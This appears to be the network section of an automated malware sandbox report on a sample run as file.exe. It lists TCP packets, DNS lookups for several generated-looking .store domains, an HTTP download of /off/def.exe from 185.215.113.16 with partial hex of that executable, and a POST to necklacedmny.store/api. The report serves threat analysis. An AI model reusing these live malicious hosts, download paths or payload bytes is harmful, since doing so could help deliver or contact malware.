Oct 28, 2024 15:28:23.836462021 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836463928 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836476088 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836486101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836497068 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836515903 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836515903 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836543083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836555004 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836565018 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836565018 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836575985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836585999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836594105 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836596966 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836606979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836607933 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836616993 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836627960 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836632967 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836637974 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836649895 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836668015 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836689949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836700916 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836707115 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836711884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836721897 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836730957 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836733103 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836745977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836755037 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836757898 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836776018 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836786985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836796999 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836803913 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836807013 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836818933 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836829901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836838961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836839914 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836853027 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836858034 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836870909 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.836879015 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836894989 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.836976051 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837028980 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837040901 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837054968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837064981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837085009 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837102890 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837105989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837114096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837121010 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837124109 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837133884 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837137938 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837145090 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837156057 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837166071 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837168932 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837177038 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837188005 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837207079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837254047 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837265968 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837269068 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837275982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837294102 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837378025 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837403059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837413073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837423086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837433100 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837441921 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837449074 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837470055 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837558985 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837574959 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837835073 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837846994 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837857962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837868929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837877989 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837878942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837886095 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837888956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837899923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837909937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837917089 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.837919950 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837930918 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837940931 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837958097 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.837963104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838021994 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838120937 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838130951 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838141918 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838152885 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838161945 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838176012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838186979 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838190079 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838197947 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838207960 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838215113 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838260889 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838325977 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838349104 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838365078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838366032 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838376045 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838386059 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838392019 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838406086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838417053 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838428020 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838428020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838444948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838455915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838465929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838470936 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838479996 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838493109 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838494062 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838496923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838509083 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838519096 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838529110 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838538885 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838540077 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838551044 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838553905 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838562012 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838576078 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838584900 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838596106 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838596106 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838606119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838615894 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838615894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838623047 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838625908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838649035 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838663101 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838680029 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838684082 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838690042 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838700056 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838710070 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838721037 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838722944 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838731050 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838751078 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838769913 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838781118 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838784933 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838790894 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838798046 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838819981 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838830948 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838840961 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838841915 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838851929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838861942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838871002 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838871956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838881969 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838891983 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838901043 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.838903904 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.838923931 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839157104 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839184046 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839200020 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839210987 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839221001 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839229107 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839231014 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839241982 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839250088 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839252949 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839262962 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839273930 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839279890 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839283943 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839288950 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839343071 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839344025 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839354992 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839368105 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839375973 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839378119 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839389086 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839397907 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839399099 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839410067 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839420080 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839426994 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839433908 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839446068 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839448929 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839458942 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839468956 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839474916 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839479923 CET	80	49764	185.215.113.16	192.168.2.6
Oct 28, 2024 15:28:23.839524031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.839524031 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:23.888016939 CET	49764	80	192.168.2.6	185.215.113.16
Oct 28, 2024 15:28:25.003874063 CET	49764	80	192.168.2.6	185.215.113.16

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 28, 2024 15:28:04.861742973 CET	60499	53	192.168.2.6	1.1.1.1
Oct 28, 2024 15:28:04.871520996 CET	53	60499	1.1.1.1	192.168.2.6
Oct 28, 2024 15:28:04.906986952 CET	53349	53	192.168.2.6	1.1.1.1
Oct 28, 2024 15:28:04.917360067 CET	53	53349	1.1.1.1	192.168.2.6
Oct 28, 2024 15:28:04.918736935 CET	56263	53	192.168.2.6	1.1.1.1
Oct 28, 2024 15:28:04.930725098 CET	53	56263	1.1.1.1	192.168.2.6
Oct 28, 2024 15:28:04.932240963 CET	57263	53	192.168.2.6	1.1.1.1
Oct 28, 2024 15:28:04.941735983 CET	53	57263	1.1.1.1	192.168.2.6
Oct 28, 2024 15:28:04.943022013 CET	64073	53	192.168.2.6	1.1.1.1
Oct 28, 2024 15:28:04.956098080 CET	53	64073	1.1.1.1	192.168.2.6
Oct 28, 2024 15:28:22.506917953 CET	53	57219	1.1.1.1	192.168.2.6

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Oct 28, 2024 15:28:04.861742973 CET	192.168.2.6	1.1.1.1	0xf607	Standard query (0)	presticitpo.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.906986952 CET	192.168.2.6	1.1.1.1	0xfdf3	Standard query (0)	crisiwarny.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.918736935 CET	192.168.2.6	1.1.1.1	0x9f4e	Standard query (0)	fadehairucw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.932240963 CET	192.168.2.6	1.1.1.1	0xfd82	Standard query (0)	thumbystriw.store	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.943022013 CET	192.168.2.6	1.1.1.1	0xdb20	Standard query (0)	necklacedmny.store	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Oct 28, 2024 15:28:04.871520996 CET	1.1.1.1	192.168.2.6	0xf607	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.917360067 CET	1.1.1.1	192.168.2.6	0xfdf3	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.930725098 CET	1.1.1.1	192.168.2.6	0x9f4e	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.941735983 CET	1.1.1.1	192.168.2.6	0xfd82	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.956098080 CET	1.1.1.1	192.168.2.6	0xdb20	No error (0)	necklacedmny.store		188.114.96.3	A (IP address)	IN (0x0001)	false
Oct 28, 2024 15:28:04.956098080 CET	1.1.1.1	192.168.2.6	0xdb20	No error (0)	necklacedmny.store		188.114.97.3	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

necklacedmny.store

185.215.113.16

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49764	185.215.113.16	80	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 28, 2024 15:28:18.086256981 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 28, 2024 15:28:19.202541113 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 28 Oct 2024 14:28:18 GMT Content-Type: application/octet-stream Content-Length: 2801664 Last-Modified: Mon, 28 Oct 2024 13:39:46 GMT Connection: keep-alive ETag: "671f9422-2ac000" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 70 70 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$ + `@ `+pp+`Ui` @ @.rsrc`2@.idata 8@quailsgy``:@yrbqemzo +@.taggant@ +"@
Oct 28, 2024 15:28:19.202554941 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202560902 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202570915 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202577114 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202586889 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202598095 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202609062 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 28, 2024 15:28:19.202615023 CET	1236	IN	Data Raw: eb 2f 36 ce b9 53 42 db c4 20 2c b2 72 07 01 68 1b 1e a2 43 28 12 3a a4 84 f5 48 c7 cd a3 24 98 4c ef 5b d5 da 1f 5d f2 05 3e 3f 0e 25 35 45 60 2f f3 0a c5 de 88 cc dc e9 74 dd 70 ce f7 64 d6 e2 01 47 3a f6 3c 68 d8 c8 fc 6b 87 69 95 28 0c 86 1a Data Ascii: /6SB ,rhC(:H$L[]>?%5E`/tpdG:<hki(sFp7"I7$/t217GTe:DAj8$ZPjK26]'c3K$Y7XueQtR/6&Q%+$\Z>*E`4c
Oct 28, 2024 15:28:19.202620983 CET	1236	IN	Data Raw: dd 59 30 98 c5 d5 7c 30 a9 87 30 a0 15 2a ff ea ad 62 03 0d b3 d6 03 c0 4c 27 5b c4 ce 74 0b ca 89 7e 13 fa fc 16 1b db a0 77 49 ca ee 1a c2 4a f5 fe e5 3e 4c 2a 30 e3 e2 9c bb f6 27 a5 30 f3 c4 b1 6b fb 24 2d 55 0b 6b 0a cb e1 85 ff 75 1a d3 4d Data Ascii: Y0\|00bL'[t~wIJ>L0'0k$-UkuM#,~e4]BgO-*~5OK%r}<4)5/V<5ux+j8DbPe9u)O';G/&8E3xaHY/r=mO_4Ul.X(f{,.(S
Oct 28, 2024 15:28:19.203329086 CET	1236	IN	Data Raw: ef c7 9b d3 50 a7 6c b1 ed 59 ca 1a 74 0f 4f 32 3a 75 ae 35 ef 24 1b 0b 2d 2c 34 e3 34 b6 c0 25 d5 0c df ff 5c 29 75 81 53 e1 66 84 87 0c f9 d6 ec 0c 6e c7 07 df 7b 30 2e 0a 52 fc 94 b4 c3 33 3a 86 68 f6 47 50 41 e7 a6 cb dc c0 67 ff b0 4c 37 37 Data Ascii: PlYtO2:u5$-,44%\)uSfn{0.R3:hGPAgL77YI{82g'eu4eE66-0%\_.CuOC+vULW, ?P.:\|g4t-]JU;)=-Wk(//xL?&sTnN793oWLoefCJB

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49710	188.114.96.3	443	6776	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-28 14:28:05 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: necklacedmny.store
